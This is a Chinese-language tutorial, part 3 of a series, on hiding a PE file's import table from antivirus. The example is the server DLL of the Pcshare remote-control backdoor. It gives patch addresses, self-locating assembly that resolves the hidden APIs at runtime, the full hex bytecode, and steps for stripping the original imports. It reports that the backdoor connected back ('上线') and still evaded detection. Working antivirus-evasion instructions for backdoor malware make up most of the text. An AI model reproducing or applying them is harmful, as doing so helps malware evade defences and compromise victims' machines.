输入表隐藏、加密的原理和手工实现方法(3)
输入表隐藏、加密的原理和手工实现
一、前言:现在对输入表的查杀已经成为杀毒软件杀毒的一个重要方面,没有一个杀毒软件不把输入表作为查杀的对象,通常的输入表移位、重建已经不能作为免杀的重要手段,可以说杀毒软件也在逐步进步,而我先前倡导的输入表按序号重建也因为存在系统兼容性问题不能作为输入表免杀的手段。如何改变输入表部分的内容与结构,使其与原先的不同,这就是本文要探讨的问题。二、目的:通过本文的学习,可以掌握手工导入输入表和手工加密输入表函数的名称的办法,并能学习到汇编语言的精辟。三、基本知识在开始之前,我们先来了解二个kernel32.dll的函数的使用方法,即:kernel32.LoadLibraryA和kernel32.GetProcAddress,它们是本文要用到的二个关键函数。具体的函数介绍可以看看这篇文章:《3个脱壳相关的重要函数介绍》http://bbs.pediy.com/showthread.php?threadid=202301、LoadLibraryA函数LoadLibrary函数是把指定的可执行模块映射进调用进程的地址空间。通俗的说,如程序需要调用ole32.dll里面的CreateStreamOnHGlobal函数,首先应该用LoadLibraryA函数找到ole32.dll的句柄。然后根据这个句柄用GetProcAddress找到CreateStreamOnHGlobal的内存指针。它有一个参数,即动态链接库名称的内存地址。汇编语言是这样实现的(以前面为例):PUSH10018888//10018888指向ole32.dll名称。CALLDWORDPTRDS:[10019990]//10019990是LoadLibraryA的内存指针。结果放在EAX里面,返回值为模块句柄。2、GetProcAddress函数GetProcAddress函数返回指定的输出动态链接库内的函数地址。它有二个参数。汇编语言是这样实现的(以前面为例):PUSH1001888C//1001888C指向CreateStreamOnHGlobal名称。PUSHEAX//EAX的值为LoadLibraryA的返回值,即ole32.dll的句柄。CALLDWORDPTRDS:[1001999C]//1001999C为GetProcAddress函数的内存指针。结果也放在EAX里面,返回值为DLL输出函数的内存地址。四、输入表加密工具的原理和优缺点我在之前的免杀文章中采用了一个加密工具,可以用来加密EXE的输入表,通过这个工具加密之后,整个输入表大部分消失了,只剩下kernel32.dll和它的二个API函数,就是上面介绍的二个,LoadLibraryA函数和GetProcAddress函数。它加密的原理就是采用LoadLibraryA函数和GetProcAddress函数在程序中用代码把加密的输入表DLL的名称以及API函数的名称和内存指针恢复,用汇编语言实现是很简单的。这个加密工具的缺点是只能加密部分EXE文件(虽然我对加密工具进行了一个修正,但据反映,有些EXE文件还是不能用来加密输入表),不能加密DLL文件。而且用这个工具加密后再通过我的改壳免杀处理服务端的方法已经被瑞星关注了,瑞星就杀在加壳后的输入表GetProcAddress函数上。五、手工编写输入表隐藏和加密代码现在开始本文的重点,就是用手工编写代码改变输入表的结构,隐藏部分输入表。我们以Pcshare中的PcMain.dll为例,为什么采用这个做为例子,因为下一个教程我准备出DLL改壳免杀的教程,用这个教程为下一个教程做铺垫。我做二个示范,分别属于二种情况,一种是隐藏输入表中链接库DLL和其所有API函数,另外一种是只隐藏链接库DLL中的某一个API函数。至于加密函数名称,可以采用我的输出表加密函数名称的办法(双字节异或加密),这里不做介绍了,一般采用隐藏输入表就可以达到免杀的目的。PcMain.dll中ole32.dll只有一个函数CreateStreamOnHGlobal,把ole32.dll和其CreateStreamOnHGlobal隐藏,另外隐藏shell32.dll中的ShellExecuteA函数。1、加空区段。作为代码写入的区域。记住程序原入口点为100116E3。2、写入代码。一般采用PUSHAD开始,POPAD结束,以避免不必要的错误。同时采用CALL(下一句的地址)和POP结构实现程序的自定位,通过内存的相对位置使程序也能用于DLL文件的输入表隐藏。我们记下几个内存值:程序新入口点10018000EBP:10018000ole32.dll名称起始内存地址:1001333C(用C32ASM寻找,再换算),与EBP的差值为4CC4。CreateStreamOnHGlobal名称起始内存地址:10013326(用C32ASM寻找,再换算),与EBP的差值为4CDA。CreateStreamOnHGlobal原程序中起始内存指针地址:1001236C(在OD里同时按CTRL和N,再查找),与EBP的差值为5C94。Shell32.dll名称起始内存地址:10013318(用C32ASM寻找,再换算),与EBP的差值为4CE8。ShellExecuteA名称起始内存地址:100132E0(用C32ASM寻找,再换算),与EBP的差值为4D20。ShellExecuteA原程序中起始内存指针地址:10012248(在OD里同时按CTRL和N查找),与EBP的差值为5DB8。LoadLibraryA函数内存指针:100121BC(在OD里同时按CTRL和N),与EBP的差值为5E44。GetProcAddress函数内存指针:1001210C(在OD里同时按CTRL和N),与EBP的差值为5EF4。开始写代码,看操作。代码如下:1001800060pushad10018001E800000000callPcMain01.10018006//自定位100180065Dpopebp//EBP的值为本行地址1001800783ED06subebp,61001800A8BDDmovebx,ebp1001800C81EBC44C0000subebx,4CC4//EBX指向ole32.dll名称起始内存地址
1001801253pushebx//作为参数进栈
100180138BDDmovebx,ebp1001801581EB445E0000subebx,5E44//EBX指向LoadLibraryA函数内存指针1001801BFF13calldwordptrds:[ebx]//调用LoadLibraryA函数1001801D8BF8movedi,eax//结果放在EDI1001801F8BDDmovebx,ebp1001802181EBDA4C0000subebx,4CDA//EBX指向CreateStreamOnHGlobal名称起始内存地址1001802753pushebx//参数进栈1001802857pushedi//参数进栈100180298BDDmovebx,ebp1001802B81EBF45E0000subebx,5EF4//EBX指向GetProcAddress函数内存指针10018031FF13calldwordptrds:[ebx]//调用GetProcAddress函数100180338BDDmovebx,ebp1001803581EB945C0000subebx,5C94//EBX指向CreateStreamOnHGlobal原程序中起始内存指针地址1001803B8903movdwordptrds:[ebx],eax//将CreateStreamOnHGlobal内存地址放入原内存指针地址1001803D8BDDmovebx,ebp//以下步骤同上,处理ShellExecuteA1001803F81EBE84C0000subebx,4CE81001804553pushebx100180468BDDmovebx,ebp1001804881EB445E0000subebx,5E441001804EFF13calldwordptrds:[ebx]100180508BF8movedi,eax100180528BDDmovebx,ebp1001805481EB204D0000subebx,4D201001805A53pushebx1001805B57pushedi1001805C8BDDmovebx,ebp1001805E81EBF45E0000subebx,5EF410018064FF13calldwordptrds:[ebx]100180668BDDmovebx,ebp1001806881EBB85D0000subebx,5DB81001806E8903movdwordptrds:[ebx],eax1001807061popad10018071-E96D96FFFFjmpPcMain01.100116E3//跳回原入口点二进制代码如下:60E8000000005D83ED068BDD81EBC44C0000538BDD81EB445E0000FF138BF88BDD81EBDA4C000053578BDD81EBF45E0000FF138BDD81EB945C000089038BDD81EBE84C0000538BDD81EB445E0000FF138BF88BDD81EB204D000053578BDD81EBF45E0000FF138BDD81EBB85D0000890361E96D96FFFF3、删除原链接库DLL和其API函数指针。对于ole32.dll我们采用LORDPE进行操作,我们在输入表里删除ole32.dll,对于ShellExecuteA我们采用C32ASM打开文件,根据上面的ShellExecuteA原程序中起始内存指针地址换算成偏移地址,然后将其填充为00。这样我们的修改就好了。修改好的输入表里我们删除了ole32.dll,ShellExecuteA虽然在输入表里还存在,但是它的内存指针已经没有了,可以用OD看下,同样按CTRL和N,找到ShellExecuteA,看它的内存指针变成了00。我们在Od跟踪下,指针恢复了。测试上线成功。功能无损。这种方法适用于所有PE文件,包括EXE和DLL文件的输入表处理。
|
|